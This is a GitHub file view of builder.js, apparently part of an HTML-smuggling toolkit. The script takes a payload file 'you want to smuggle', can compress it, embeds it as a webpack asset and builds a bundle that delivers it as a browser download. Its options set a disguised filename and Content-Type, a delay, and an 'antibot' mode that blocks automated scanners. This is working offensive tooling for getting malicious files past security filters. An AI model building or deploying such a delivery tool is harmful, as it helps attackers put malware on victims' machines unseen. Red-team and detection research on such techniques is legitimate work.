-
Notifications
You must be signed in to change notification settings - Fork 19
/
builder.js
70 lines (63 loc) · 2.15 KB
/
builder.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/* eslint-disable no-console */
/* eslint-disable import/no-extraneous-dependencies */
const fs = require("fs");
const { program } = require("commander");
const webpack = require("webpack");
const fflate = require("fflate");
const webpackConfig = require("./webpack.config");
program
.requiredOption(
"-p, --payload <string>",
"Path to payload file you want to smuggle"
)
.requiredOption(
"-n, --name <string>",
"Name of file, that would be downloaded"
)
.option(
"-t, --type <string>",
"Contet-Type of downlonaded file",
"application/octet-stream"
)
.option("-f, --function <string>", "Name of exported function", "download")
.option("-c, --compress", "Enable payload compression (gzip)")
.option("-d, --delay <number>", "Delay before antibot and download (ms)", 0)
.option("-a, --antibot", "Enable bot detection and block them (recommended)");
program.parse();
console.log("Using payload:", program.opts().payload);
console.log("Using filename:", program.opts().name);
console.log("Using Content-Type:", program.opts().type);
console.log("Exported function:", program.opts().function);
console.log("Compression:", program.opts().compress);
console.log("Delay:", program.opts().delay, "ms");
console.log("Antibot:", program.opts().antibot);
const dst = "src/assets/payload.bin";
fs.readFile(program.opts().payload, { encoding: "latin1" }, (err, data) => {
if (err) throw err;
const aData = fflate.strToU8(data, true);
const payload = program.opts().compress
? fflate.compressSync(aData, { level: 9, mem: 12 })
: aData;
console.log("Payload size:", payload.length, "b");
fs.writeFile(dst, payload, { flag: "w+" }, (err2) => {
if (err2) throw err2;
const compiler = webpack(
webpackConfig({
filetype: program.opts().type,
filename: program.opts().name,
funcname: program.opts().function,
compress: program.opts().compress,
antibot: program.opts().antibot,
delay: program.opts().delay,
})
);
compiler.run((err3, stats) => {
if (err3) throw err3;
console.log(
stats.toString({
colors: true,
})
);
});
});
});